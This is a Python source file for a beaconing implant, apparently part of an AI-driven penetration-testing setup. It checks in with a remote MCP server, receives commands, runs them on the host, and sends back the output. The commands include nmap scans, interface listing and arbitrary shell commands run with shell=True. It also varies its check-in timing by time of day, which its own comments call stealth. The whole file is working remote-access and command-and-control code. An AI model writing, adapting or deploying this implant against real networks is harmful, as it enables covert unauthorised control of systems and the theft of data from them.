""" Agentic Penetration Testing Implant (Beaconing Architecture) This implant runs on the target network and periodically beacons out to the MCP server to check for pending commands. It executes commands locally and reports results back. Usage: export MCP_SERVER_URL="http://:8001" python implant.py --id --interval 30 """ import os import sys import json import time import uuid import socket import subprocess import argparse import random from datetime import datetime from urllib.request import urlopen, Request from urllib.error import URLError def get_local_ip(): """Get the local IP address of this host.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) ip = s.getsockname()[0] s.close() return ip except Exception: return "unknown" def execute_nmap(target, scan_type="-sT", ports=None, output_format="normal"): """Execute an nmap scan and return results.""" cmd = ["nmap", scan_type] if ports: cmd.extend(["-p", ports]) if output_format == "xml": cmd.append("-oX") cmd.append("-") elif output_format == "grepable": cmd.append("-oG") cmd.append("-") cmd.append(target) try: result = subprocess.run( cmd, capture_output=True, text=True, timeout=300 ) return { "exit_code": result.returncode, "output": result.stdout[:10000], # Truncate large outputs "error": result.stderr[:1000] if result.stderr else None } except subprocess.TimeoutExpired: return {"exit_code": -1, "output": "", "error": "nmap scan timed out"} except Exception as e: return {"exit_code": -1, "output": "", "error": str(e)} def list_interfaces(): """List network interfaces and their configurations.""" try: result = subprocess.run( ["ip", "addr"], capture_output=True, text=True, timeout=30 ) return { "exit_code": result.returncode, "output": result.stdout[:5000], "error": result.stderr[:1000] if result.stderr else None } except Exception as e: return {"exit_code": -1, "output": "", "error": str(e)} def run_shell_command(command): """Execute a shell command and return results.""" try: result = subprocess.run( command, shell=True, capture_output=True, text=True, timeout=120 ) return { "exit_code": result.returncode, "output": result.stdout[:5000], "error": result.stderr[:1000] if result.stderr else None } except subprocess.TimeoutExpired: return {"exit_code": -1, "output": "", "error": "Command timed out"} except Exception as e: return {"exit_code": -1, "output": "", "error": str(e)} def is_business_hours(): """Check if current time is within business hours (Mon-Fri 8AM-6PM local).""" now = datetime.now() # weekday() returns 0=Monday, 4=Friday return now.weekday() < 5 and 8 <= now.hour < 18 def get_beacon_interval(base_interval): """Calculate beacon interval with jitter based on time of day. Business hours: base interval ±10% jitter Off-hours: 2x base interval ±30% jitter (less frequent, more stealthy) """ if is_business_hours(): # Shorter interval during business hours with small jitter jitter = random.uniform(-0.1, 0.1) * base_interval return max(5, int(base_interval + jitter)) else: # Longer interval off-hours with larger jitter for stealth extended = base_interval * 2 jitter = random.uniform(-0.3, 0.3) * extended return max(10, int(extended + jitter)) def beacon(mcp_url, implant_id, api_key=None): """Send a check-in beacon to the MCP server and process any commands.""" try: data = json.dumps({ "implant_id": implant_id, "timestamp": time.time(), "host_ip": get_local_ip() }).encode() headers = {"Content-Type": "application/json"} if api_key: headers["X-API-Key"] = api_key req = Request( f"{mcp_url}/check_in", data=data, headers=headers ) with urlopen(req, timeout=10) as response: body = json.loads(response.read().decode()) commands = body.get("commands", []) if commands: print(f"[{implant_id}] Received {len(commands)} command(s)") for cmd in commands: request_id = cmd["request_id"] cmd_type = cmd["type"] params = cmd["params"] print(f" Executing {cmd_type} (request {request_id})") # Execute the appropriate command if cmd_type == "nmap_scan": result = execute_nmap( params.get("target"), params.get("scan_type", "-sT"), params.get("ports"), params.get("output_format", "normal") ) elif cmd_type == "list_interfaces": result = list_interfaces() elif cmd_type == "run_command": result = run_shell_command(params.get("command")) else: result = {"error": f"Unknown command type: {cmd_type}"} # Report result back report_data = json.dumps({ "request_id": request_id, "implant_id": implant_id, "result": result }).encode() report_headers = {"Content-Type": "application/json"} if api_key: report_headers["X-API-Key"] = api_key report_req = Request( f"{mcp_url}/report_result", data=report_data, headers=report_headers ) try: with urlopen(report_req, timeout=10) as resp: print(f" Result reported for {request_id}") except Exception as e: print(f" Failed to report result: {e}") return True except URLError as e: print(f"[{implant_id}] Beacon failed: {e}") return False except Exception as e: print(f"[{implant_id}] Unexpected error: {e}") return False def main(): parser = argparse.ArgumentParser(description="Agentic Pentest Implant") parser.add_argument("--id", default=str(uuid.uuid4())[:8], help="Unique implant ID") parser.add_argument("--interval", type=int, default=30, help="Base beacon interval in seconds") parser.add_argument("--api-key", default=None, help="API key for server authentication") args = parser.parse_args() mcp_url = os.environ.get("MCP_SERVER_URL", "http://localhost:8001") implant_id = args.id api_key = args.api_key or os.environ.get("IMPLANT_API_KEY", None) print(f"=== Agentic Pentest Implant ===") print(f"Implant ID: {implant_id}") print(f"MCP Server: {mcp_url}") print(f"Base beacon interval: {args.interval}s (with time-aware jitter)") if api_key: print(f"API Key: {'*' * len(api_key)}") print(f"Local IP: {get_local_ip()}") print("================================\n") while True: success = beacon(mcp_url, implant_id, api_key) if not success: print("Retrying in 5 seconds...") time.sleep(5) # Calculate next interval with jitter next_interval = get_beacon_interval(args.interval) bh_status = "business hours" if is_business_hours() else "off-hours" print(f"Next beacon in {next_interval}s ({bh_status})") # Sleep until next beacon for _ in range(next_interval): time.sleep(1) if __name__ == "__main__": main()